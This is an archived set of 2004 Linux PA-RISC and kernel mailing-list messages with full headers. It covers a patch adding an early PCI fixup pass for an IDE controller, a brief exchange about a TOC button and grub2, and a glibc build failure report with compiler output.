X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S266555AbUJAVxK@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18636 invoked by uid 65534); 1 Oct 2004 22:07:58 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx026) with SMTP; 02 Oct 2004 00:07:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S266555AbUJAVxK (ORCPT <rfc822;deller@gmx.de>);
	Fri, 1 Oct 2004 17:53:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S266473AbUJAVtK
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 1 Oct 2004 17:49:10 -0400
Original-Received: from jurassic.park.msu.ru ([195.208.223.243]:4234 "EHLO
	jurassic.park.msu.ru") by vger.kernel.org with ESMTP
	id S266427AbUJAVsW (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 1 Oct 2004 17:48:22 -0400
Original-Received: by jurassic.park.msu.ru (Postfix, from userid 500)
	id BB48E11E996; Sat,  2 Oct 2004 01:48:17 +0400 (MSD)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20040930174155.GT16153@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Thu, Sep 30, 2004 at 06:41:55PM +0100
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: RO
X-Status: RC
X-KMail-EncryptionState: N
X-KMail-SignatureState: N
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24957

On Thu, Sep 30, 2004 at 06:41:55PM +0100, Matthew Wilcox wrote:
> Allow prioritising PCI fixups.  "How it works" is covered in the comment
> in pci.h.  The patch to superio.c may well only apply with fuzz to the
> current Linux tree; I include it only to show an example.

No, you missed my point.
What we need is yet another PCI fixup *pass*, not prioritizing fixups
inside *one* pass - see appended patch (compile tested only).
Speaking of IDE: generally, you cannot switch PCI IDE controller
from "compatible" to native mode in the "fixup header" pass, as at this
point PCI BARs are *already* probed, and in compatible mode a lot of IDE
controllers have some bogus (often read-only) values in the BARs 0-3.
That's why quirk_ide_bases() fixup exists in the first place.
So that parisc superio fix works by mere luck - probably because IDE
BARs 0-3 are readable/writable even in legacy mode on this particular
controller.

Ivan.

--- 2.6/include/asm-generic/vmlinux.lds.h	Mon Sep 27 14:38:14 2004
+++ linux/include/asm-generic/vmlinux.lds.h	Fri Oct  1 15:24:30 2004
@@ -18,6 +18,9 @@
 									\
 	/* PCI quirks */						\
 	.pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {	\
+		VMLINUX_SYMBOL(__start_pci_fixups_early) = .;		\
+		*(.pci_fixup_early)					\
+		VMLINUX_SYMBOL(__end_pci_fixups_early) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_header) = .;		\
 		*(.pci_fixup_header)					\
 		VMLINUX_SYMBOL(__end_pci_fixups_header) = .;		\
--- 2.6/include/linux/pci.h	Mon Sep 27 14:38:23 2004
+++ linux/include/linux/pci.h	Fri Oct  1 16:16:51 2004
@@ -1006,20 +1006,29 @@ struct pci_fixup {
 };
 
 enum pci_fixup_pass {
-	pci_fixup_header,	/* Called immediately after reading configuration header */
+	pci_fixup_early,	/* Called immediately after reading
+				   device/vendor IDs and class code */
+	pci_fixup_header,	/* Called after reading the entire
+				   configuration header (including BARs) */
 	pci_fixup_final,	/* Final phase of device fixups */
 };
 
 /* Anonymous variables would be nice... */
-#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)					\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_used__	\
-	__attribute__((__section__(".pci_fixup_header"))) = {				\
-		vendor, device, hook };
+#define DECLARE_PCI_FIXUP_SECTION(section, name, vendor, device, hook)	\
+	static struct pci_fixup __pci_fixup_##name __attribute_used__	\
+	__attribute__((__section__( #section ))) = { vendor, device, hook };
 
-#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)				\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_used__	\
-	__attribute__((__section__(".pci_fixup_final"))) = {				\
-		vendor, device, hook };
+#define DECLARE_PCI_FIXUP_EARLY(vendor, device, hook)			\
+	 DECLARE_PCI_FIXUP_SECTION(.pci_fixup_early,			\
+			vendor##device##hook, vendor, device, hook)
+
+#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)			\
+	 DECLARE_PCI_FIXUP_SECTION(.pci_fixup_header,			\
+			vendor##device##hook, vendor, device, hook)
+
+#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)			\
+	 DECLARE_PCI_FIXUP_SECTION(.pci_fixup_final,			\
+			vendor##device##hook, vendor, device, hook)
 
 void pci_fixup_device(enum pci_fixup_pass pass, struct pci_dev *dev);
 
--- 2.6/drivers/pci/quirks.c	Mon Sep 27 14:37:45 2004
+++ linux/drivers/pci/quirks.c	Fri Oct  1 16:24:16 2004
@@ -999,6 +999,8 @@ static void pci_do_fixups(struct pci_dev
 	}
 }
 
+extern struct pci_fixup __start_pci_fixups_early[];
+extern struct pci_fixup __end_pci_fixups_early[];
 extern struct pci_fixup __start_pci_fixups_header[];
 extern struct pci_fixup __end_pci_fixups_header[];
 extern struct pci_fixup __start_pci_fixups_final[];
@@ -1009,6 +1011,11 @@ void pci_fixup_device(enum pci_fixup_pas
 	struct pci_fixup *start, *end;
 
 	switch(pass) {
+	case pci_fixup_early:
+		start = __start_pci_fixups_early;
+		end = __end_pci_fixups_early;
+		break;
+
 	case pci_fixup_header:
 		start = __start_pci_fixups_header;
 		end = __end_pci_fixups_header;
--- 2.6/drivers/pci/probe.c	Mon Sep 27 14:37:45 2004
+++ linux/drivers/pci/probe.c	Fri Oct  1 15:30:00 2004
@@ -475,6 +475,9 @@ static int pci_setup_device(struct pci_d
 	/* "Unknown power state" */
 	dev->current_state = 4;
 
+	/* Early fixups, before probing the BARs */
+	pci_fixup_device(pci_fixup_early, dev);
+
 	switch (dev->hdr_type) {		    /* header type */
 	case PCI_HEADER_TYPE_NORMAL:		    /* standard header */
 		if (class == PCI_CLASS_BRIDGE_PCI)
--- 2.6/drivers/parisc/superio.c	Mon Sep 27 14:37:45 2004
+++ linux/drivers/parisc/superio.c	Fri Oct  1 15:32:20 2004
@@ -484,7 +484,7 @@ void superio_fixup_pci(struct pci_dev *p
 	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
 	printk("PCI: Enabled native mode for NS87415 (pif=0x%x)\n", prog);
 }
-DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);
+DECLARE_PCI_FIXUP_EARLY(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superio_fixup_pci);
 
 /* Because of a defect in Super I/O, all reads of the PCI DMA status 
  * registers, IDE status register and the IDE select register need to be 

From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Easy-press TOC button
Date: Sat, 02 Oct 2004 16:26:02 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <415ED69A.8040409@tiscali.be>
References: <20041001170915.GA24570@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624489 25954 80.91.229.3 (22 Nov 2014 02:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@ldl.fc.hp.com>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21209 invoked by uid 65534); 2 Oct 2004 16:26:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 02 Oct 2004 18:26:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 687CB3BDDB; Sat,  2 Oct 2004 10:26:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12144-10; Sat, 2 Oct 2004 10:26:41 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A0A13BDDD; Sat,  2 Oct 2004 10:26:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B1E33BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Oct 2004 10:26:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12144-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Oct 2004 10:26:08 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 171913BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Oct 2004 10:26:08 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5B376494742; Sat,  2 Oct 2004 10:26:07 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id 4267549473E
	for <parisc-linux@parisc-linux.org>;
	Sat,  2 Oct 2004 10:26:06 -0600 (MDT)
Original-Received: from [83.134.227.188] (helo=[83.134.227.188])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CDmhv-0004FF-PT; Sat, 02 Oct 2004 18:26:03 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20040924 Debian/1.7.3-2
X-Accept-Language: en
In-Reply-To: <20041001170915.GA24570@ldl.fc.hp.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24958



Paul Bame wrote:
> When developing palo I needed to press TOC a lot and got tired of
> fishing for a tool.  Here's a drawing of how I use tape and a pin on
> C3000 which would work on other boxes too.  Might be handy for other
> folks who like to crash their boxes a lot :-)
> 
> http://parisc-linux.org/~bame/tocmod.png

:-)

Btw grub2 seems to be more open to other arch :-) (ppc already included)
Do you think it would be possible to add our parisc?
(in a first step the idea was: use ipl to load what was stage2 in grub)

TIA for advise,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Easy-press TOC button
Date: Sat, 2 Oct 2004 10:36:56 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20041002163656.GA2248@colo.lackof.org>
References: <20041001170915.GA24570@ldl.fc.hp.com>
	<415ED69A.8040409@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624489 25955 80.91.229.3 (22 Nov 2014 02:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15716 invoked by uid 65534); 2 Oct 2004 16:37:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 02 Oct 2004 18:37:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 38B453BDCA; Sat,  2 Oct 2004 10:37:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12813-01; Sat, 2 Oct 2004 10:37:24 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E74243BDF8; Sat,  2 Oct 2004 10:37:04 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFD493BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Oct 2004 10:37:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12697-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Oct 2004 10:37:00 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1D7253BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Oct 2004 10:37:00 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 66146494742; Sat,  2 Oct 2004 10:36:59 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 8F83449473E
	for <parisc-linux@parisc-linux.org>;
	Sat,  2 Oct 2004 10:36:58 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 189BB29812F; Sat,  2 Oct 2004 10:36:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02347-08; Sat, 2 Oct 2004 10:36:56 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8E4F929811B; Sat,  2 Oct 2004 10:36:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <415ED69A.8040409@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24959

On Sat, Oct 02, 2004 at 04:26:02PM +0000, Joel Soete wrote:
> Btw grub2 seems to be more open to other arch :-) (ppc already included)
> Do you think it would be possible to add our parisc?

Possibly? Yeah, sure. But what's wrong with palo?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-15?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20mmm=20glibc=20cvs=202004=2010=2001=20=2B=20patch=202004=2009=2030=20failed=09to=20build=3F?=
Date: Tue, 5 Oct 2004 17:26:50 +0200
Lines: 169
Approved: news@gmane.org
Message-ID: <41617298000007EF@mail-2-bnl.tiscali.it>
References: <4161760000000049@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624490 25961 80.91.229.3 (22 Nov 2014 02:48:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
 "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16773 invoked by uid 65534); 5 Oct 2004 15:28:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 05 Oct 2004 17:28:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C38D3BE0E; Tue,  5 Oct 2004 09:28:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16034-08; Tue, 5 Oct 2004 09:28:21 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F5943BE16; Tue,  5 Oct 2004 09:27:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B08443BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Oct 2004 09:27:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16034-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Oct 2004 09:27:36 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1552B3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Oct 2004 09:27:36 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 0C37049474D; Tue,  5 Oct 2004 09:27:35 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-2-bnl.tiscali.it (mail-2-bnl.tiscali.it [213.205.33.222])
	by palinux.hppa (Postfix) with ESMTP id 1C69F49474B
	for <parisc-linux@parisc-linux.org>;
	Tue,  5 Oct 2004 09:27:33 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 5 Oct 2004 17:26:50 +0200
In-Reply-To: <4161760000000049@mail-8-bnl.mail.tiscali.sys>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24960

Sorry but I would add some more info:

> 
> >
> > On Fri, Oct 01, 2004 at 04:12:54PM +0100, Matthew Wilcox wrote:
> > > On Fri, Oct 01, 2004 at 05:10:32PM +0200, Joel Soete wrote:
> > > > ../sysdeps/unix/sysv/linux/waitid.c: In function `do_waitid':
> > > > ../sysdeps/unix/sysv/linux/waitid.c:50: error: `NULL' undeclared
(first
> > > > use in this function)
> > > > ../sysdeps/unix/sysv/linux/waitid.c:50: error: (Each undeclared
identifier
> > > > is reported only once
> > > > ../sysdeps/unix/sysv/linux/waitid.c:50: error: for each function
it
> appears
> > > > in.)
> > >
> > > I believe NULL is defined in <stddef.h>
> >
> > Bug upstream. Testing fix.
> >
> I find this stuff in posix/waitpid:
> --- sysdeps/unix/sysv/linux/waitid.c.orig	2004-10-04 19:15:31.615954017=

> +0200
> +++ sysdeps/unix/sysv/linux/waitid.c	2004-10-04 18:07:03.000000000 +020=
0
> @@ -21,6 +21,8 @@
>  #include <sys/wait.h>
>  #include <kernel-features.h>
>  #include <sysdep.h>
> +#define __need_NULL
> +#include <stddef.h>
> 
>  #ifdef __NR_waitid
> 
> =3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D
> 
> That did the trick but not sure it's a fix?
> 
> What do you think?
> 
> Joel
> 
> PS: I didn't reach to complete the today cvs build ...

Well for remind that was cvs 2004-10-04 and it failed to build :((
"hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/gl=
ibc/nscd/nscd
 -Wl,-dynamic-linker=3D/lib/ld.so.1     /Develop/parisc-linux/build/glibc=
/csu/crt1.o
/Develop/parisc-linux/build/glibc/csu/crti.o `hppa-linux-gcc --print-file=
-name=3Dcrtbegin.o`
/Develop/parisc-linux/build/glibc/nscd/nscd.o /Develop/parisc-linux/build=
/glibc/nscd/connections.o
/Develop/parisc-linux/build/glibc/nscd/pwdcache.o /Develop/parisc-linux/b=
uild/glibc/nscd/getpwnam_r.o
/Develop/parisc-linux/build/glibc/nscd/getpwuid_r.o /Develop/parisc-linux=
/build/glibc/nscd/grpcache.o
/Develop/parisc-linux/build/glibc/nscd/getgrnam_r.o /Develop/parisc-linux=
/build/glibc/nscd/getgrgid_r.o
/Develop/parisc-linux/build/glibc/nscd/hstcache.o /Develop/parisc-linux/b=
uild/glibc/nscd/gethstbyad_r.o
/Develop/parisc-linux/build/glibc/nscd/gethstbynm2_r.o /Develop/parisc-li=
nux/build/glibc/nscd/dbg_log.o
/Develop/parisc-linux/build/glibc/nscd/nscd_conf.o /Develop/parisc-linux/=
build/glibc/nscd/nscd_stat.o
/Develop/parisc-linux/build/glibc/nscd/cache.o /Develop/parisc-linux/buil=
d/glibc/nscd/mem.o
/Develop/parisc-linux/build/glibc/nscd/nscd_setup_thread.o /Develop/paris=
c-linux/build/glibc/nscd/xmalloc.o
/Develop/parisc-linux/build/glibc/nscd/xstrdup.o /Develop/parisc-linux/bu=
ild/glibc/nscd/aicache.o
/Develop/parisc-linux/build/glibc/nscd/initgrcache.o /Develop/parisc-linu=
x/build/glibc/rt/librt.so
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread_nonshared.a /De=
velop/parisc-linux/build/glibc/linuxthreads/libpthread.so
/Develop/parisc-linux/build/glibc/nis/libnsl.so  -Wl,-rpath-link=3D/Devel=
op/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Devel=
op/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/=
Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/ni=
s:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/=
resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/buil=
d/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/g=
libc/libc_nonshared.a
-lgcc `hppa-linux-gcc --print-file-name=3Dcrtend.o` /Develop/parisc-linux=
/build/glibc/csu/crtn.o
/Develop/parisc-linux/build/glibc/nscd/connections.o(.text+0x2550): In fu=
nction
`start_threads':
/Develop/parisc-linux/sources/glibc-2.3.3-hppa-20041004/nscd/connections.=
c:1507:
undefined reference to `pthread_condattr_setclock'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/nscd/nscd] Error 1
make[2]: Leaving directory `/Develop/parisc-linux/sources/glibc-2.3.3-hpp=
a-20041004/nscd'
make[1]: *** [nscd/others] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/sources/glibc-2.3.3-hpp=
a-20041004'
make: *** [all] Error 2
"

a consequence of:
hppa-linux-gcc connections.c -c -std=3Dgnu99 -O2 -Wall -Winline -Wstrict-=
prototypes
-Wwrite-strings -g   -DHAVE_EPOLL   -I../include -I. -I/Develop/parisc-li=
nux/build/glibc/nscd
-I.. -I../libio  -I/Develop/parisc-linux/build/glibc -I../sysdeps/hppa/el=
f
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/=
unix/sysv/linux
-I../linuxthreads/sysdeps/pthread -I../sysdeps/pthread -I../linuxthreads/=
sysdeps/unix/sysv
-I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa -I../sysdep=
s/unix/sysv/linux/hppa
-I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I=
.../sysdeps/unix/mman
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysd=
eps/posix
-I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/f=
lt-32
-I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hp=
pa/fpu
-I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysd=
eps/generic
-nostdinc -isystem /usr/lib/gcc-lib/hppa-linux/3.3.4/include -isystem /De=
velop/parisc-linux/sources/linux/include
-D_LIBC_REENTRANT -include ../include/libc-symbols.h   -DNOT_IN_libc=3D1 =

  -o /Develop/parisc-linux/build/glibc/nscd/connections.o -MD -MP -MF /De=
velop/parisc-linux/build/glibc/nscd/connections.o.dt
-MT /Develop/parisc-linux/build/glibc/nscd/connections.o
